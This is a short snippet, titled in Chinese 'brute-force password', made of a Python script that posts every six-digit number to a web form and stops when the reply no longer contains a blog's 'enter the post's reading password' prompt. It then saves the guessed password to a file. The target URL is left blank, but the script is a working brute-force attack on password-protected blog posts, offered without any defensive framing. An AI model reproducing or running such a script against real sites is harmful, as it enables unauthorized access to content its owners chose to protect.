暴力破解密码
import requests
def test(password):
r = requests.post("", data = {"Password": password})
if "请输入博文的阅读密码:" in r.text:
return False
else:
return True
for i in range(100000, 999999):
print("\r", i, end='')
if(test(str(i))):
with open("r.txt", "w") as f:
f.write(str(i))
break